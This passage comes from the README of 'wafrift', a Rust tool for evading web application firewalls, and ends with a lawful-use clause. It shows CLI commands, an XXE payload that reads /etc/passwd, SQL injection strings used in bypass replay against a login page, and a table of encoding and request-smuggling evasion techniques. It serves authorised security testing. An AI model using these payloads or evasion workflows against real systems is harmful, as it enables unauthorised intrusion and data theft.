\\\n  --param xmlData --payload '\u003c!DOCTYPE foo [\u003c!ENTITY x SYSTEM \"file:///etc/passwd\"\u003e]\u003e\u003cfoo\u003e\u0026x;\u003c/foo\u003e' \\\n  --level heavy\n```\n\n**Saving and replaying findings.** Once a recipe lands a bypass, persist it to the gene-bank so subsequent runs (or teammates) don't re-do discovery:\n\n```bash\nwafrift seed --waf modsec-crs --technique EncodingDoubleUrl,GrammarTautology\nwafrift bank export --output bundle.json    # share with teammate\nwafrift bank import bundle.json             # on teammate's machine\n```\n\nReplay any saved finding deterministically:\n\n```bash\nwafrift replay --target https://target/login --param username \\\n  --payload \"' OR 1=1--\" --from-host target  # exits 0 on bypass, 2 on block\n```\n\n## Architecture\n\n```\nwafrift\n├── crates/\n│   ├── types          # Core types: Request, Technique, EvasionResult\n│   ├── encoding       # 15+ encoding strategies (URL, Unicode, HTML entity, chunked, etc.)\n│   ├── grammar        # Grammar-aware payload mutations (SQLi, XSS, CMD, SSTI, SSRF, LDAPi, path traversal)\n│   ├── content-type   # Content-Type switching (JSON, XML, multipart, etc.)\n│   ├── smuggling      # HTTP request smuggling (CL.TE, TE.CL, H2)\n│   ├── fingerprint    # Browser fingerprint rotation (User-Agent, TLS, headers)\n│   ├── detect         # WAF fingerprinting (160+ WAFs via TOML rules)\n│   ├── evolution      # Genetic algorithm: crossover, mutation, fitness, MCTS, differential probing\n│   ├── oracle         # Multi-signal response classification (block / bypass / challenge / rate-limit)\n│   ├── strategy       # Pipeline orchestrator + gene bank + learning cache + adaptive host state\n│   ├── transport      # Evasion-aware HTTP client with auto-retry\n│   ├── proxy          # HTTP forward proxy with per-host adaptive evasion\n│   ├── pool           # Proxy pool rotation (round-robin HTTP/SOCKS5)\n│   ├── recon          # Origin discovery via OSINT (CT logs, DNS history)\n│   └── cli            # Interactive TUI + headless scan/evade/detect/probe commands\n```\n\n## As a Library\n\nImport the façade crate for all modules under one dependency, or pull individual crates (see below).\n\n```toml\n[dependencies]\nwafrift-core = \"0.1\"\ntokio = { version = \"1\", features = [\"rt-multi-thread\", \"macros\"] }\n```\n\n```rust\nuse wafrift_core::encoding::{self, Strategy};\n\n#[tokio::main]\nasync fn main() -\u003e Result\u003c(), Box\u003cdyn std::error::Error\u003e\u003e {\n    let encoded = encoding::encode(b\"' OR 1=1--\", Strategy::UnicodeEncode)?;\n    println!(\"{encoded}\");\n    Ok(())\n}\n```\n\nThe CLI’s live `scan` flow is built from `wafrift-strategy`, `wafrift-transport`, and `wafrift-detect`; embed those crates directly if you need the same pipeline without the binary.\n\n## As Individual Crates\n\nUse exactly the piece you need: no full-engine import required.\n\n```toml\n[dependencies]\nwafrift-encoding = \"0.1\"    # 15+ encoding strategies\nwafrift-grammar = \"0.1\"     # SQL/XSS/CMD/SSTI dialect mutations\nwafrift-detect = \"0.1\"      # WAF fingerprinting (160+ WAFs via TOML rules)\nwafrift-smuggling = \"0.1\"   # HTTP request smuggling probes\nwafrift-evolution = \"0.1\"   # Genetic/novelty/MAP-Elites bypass search\nwafrift-oracle = \"0.1\"      # Response verdict classification\nwafrift-strategy = \"0.1\"    # Per-WAF evasion pipeline planning\n```\n\n```rust\nuse wafrift_encoding::{Strategy, encode};\n\nlet encoded = encode(b\"' OR 1=1--\", Strategy::UnicodeEscape)?;\n```\n\n## Community Rules (Tier B)\n\nWAF signatures, evasion pipelines, and smuggling probes live as TOML files in `rules/`. The detection catalog (160+ WAFs) is derived from [wafw00f](https://github.com/EnableSecurity/wafw00f) (BSD-3-Clause) plus selective contributions from [identYwaf](https://github.com/stamparm/identYwaf) (MIT) and locally researched additions; every TOML rule carries a `source` field pointing back at its origin. Adding a new WAF = 5 lines of TOML, no Rust knowledge:\n\n```toml\n# rules/detect/mywaf.toml\nname = \"MyWAF\"\nvendor = \"Example Corp\"\nconfidence_weight = 0.9\n\n[[headers]]\nname = \"Server\"\npattern = \"MyWAF/\\\\d+\"\n\n[[body_patterns]]\npattern = \"(?i)blocked by MyWAF\"\n\nevasions = [\"encoding::unicode\", \"grammar::tautology_swap\"]\n```\n\nDrop into `rules/detect/` and the detector loads it at startup.\n\n## Gene Bank\n\nWafRift remembers what works. After every scan, learned techniques are persisted to `~/.wafrift/genomes/\u003cwaf_name\u003e.json`:\n\n```json\n{\n  \"waf_name\": \"Cloudflare\",\n  \"techniques\": [\n    { \"name\": \"encoding::UnicodeEncode\", \"total_successes\": 13, \"total_attempts\": 13 },\n    { \"name\": \"encoding::HtmlEntityEncode\", \"total_successes\": 13, \"total_attempts\": 13 },\n    { \"name\": \"tautology_swap\", \"total_successes\": 56, \"total_attempts\": 56 }\n  ],\n  \"targets_scanned\": 3\n}\n```\n\nNext time you scan a Cloudflare site, these techniques load automatically.\n\n## Proxy Feedback Loop\n\nThe proxy continuously learns:\n\n```\nRequest → evade() → forward → observe 200/403\n                ↑                       |\n                └── feedback loop ──────┘\n\nDiscovery → Rotation → Drift Detection → Re-Discovery\n```\n\n- **Discovery**: try all techniques, track success/failure rates\n- **Rotation**: once ≥60% winners found, only use those (round-robin)\n- **Drift**: if a winner gets blocked 2× consecutively, evict it\n- **Re-discovery**: if all winners evicted, clean slate and restart\n\n## Evasion Techniques\n\n| Category | Techniques |\n|----------|-----------|\n| **Encoding** | URL, Double-URL, Triple-URL, Unicode, IIS Unicode, HTML entity, Hex, Base64, UTF-7, Overlong UTF-8, Chunked split, Parameter pollution, Null byte |\n| **Grammar** | Tautology swap, keyword-free arithmetic, comment insertion, whitespace variation, keyword casing, string splitting, hex literals, dialect-specific (MySQL/PG/MSSQL/Oracle/SQLite) |\n| **Content-Type** | JSON body, XML body, multipart form-data switching |\n| **Headers** | Case mixing, header injection, duplicate headers, HPP |\n| **Fingerprint** | User-Agent rotation, TLS fingerprint, Accept-Language |\n| **Smuggling** | CL.TE, TE.CL, HTTP/2 mixed-case headers, H2 pseudo-header abuse |\n\n## Parity roadmap (proxy, TLS, origin, egress)\n\nSee [docs/GAP_CLOSURE_ROADMAP.md](docs/GAP_CLOSURE_ROADMAP.md) for phased work toward EvilWAF-class workflows (HTTPS MITM, JA3 parity, recon). Supporting docs: [docs/PROXY_TOOLING.md](docs/PROXY_TOOLING.md), [docs/TLS_PARITY.md](docs/TLS_PARITY.md).\n\n## License\n\nLicensed under either of\n\n- Apache License, Version 2.0 ([LICENSE-APACHE](LICENSE-APACHE) or \u003chttp://www.apache.org/licenses/LICENSE-2.0\u003e)\n- MIT license ([LICENSE-MIT](LICENSE-MIT) or \u003chttps://opensource.org/licenses/MIT\u003e)\n\nat your option.\n\n### Contribution\n\nUnless you explicitly state otherwise, any contribution intentionally submitted for inclusion in the work by you, as defined in the Apache-2.0 license, shall be dual licensed as above, without any additional terms or conditions.\n\n## Lawful Use \u0026 Repository Responsibility\n\nwafrift is dual-use security research software. It implements WAF\nevasion techniques that, executed against systems you do not own or\nhave written authorisation to test, may violate computer-misuse law\n(CFAA in the United States, Computer Misuse Act in the United Kingdom,\nStGB §202c in Germany, equivalent statutes elsewhere). By downloading,\nbuilding, or running wafrift you agree:\n\n1. **Authorisation is yours alone.** You will only run wafrift against\n   systems you own, operate, or have explicit written authorisation to\n   test: bug-bounty scope, signed pentest agreement, CTF rules, or\n   lab infrastructure under your control. Verify scope before each\n   engagement.\n2. **Legal responsibility transfers to the operator.** The Santh\n   Security maintainers, contributors, and the project itself accept\n   no liability for traffic generated by, damages caused by, or legal\n   exposure resulting from your use of the tool.\n3. **Unauthorised use is out of scope of any support.** We will not\n   help users bypass WAFs protecting systems they have no authorisation\n   to interact with. Reports of misuse may be forwarded to the affected\n   organisation's `abuse@` / legal channels.\n\nFull clause and reporting workflow in [`SECURITY.md`](./SECURITY.md#lawful-use--repository-responsibility) and [`CODE_OF_CONDUCT.md`](./CODE_OF_CONDUCT.md#lawful-use--repository-responsibility).\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fsanthsecurity%2Fwafrift","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fsanthsecurity%2Fwafrift","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fsanthsecurity%2Fwafrift/lists"}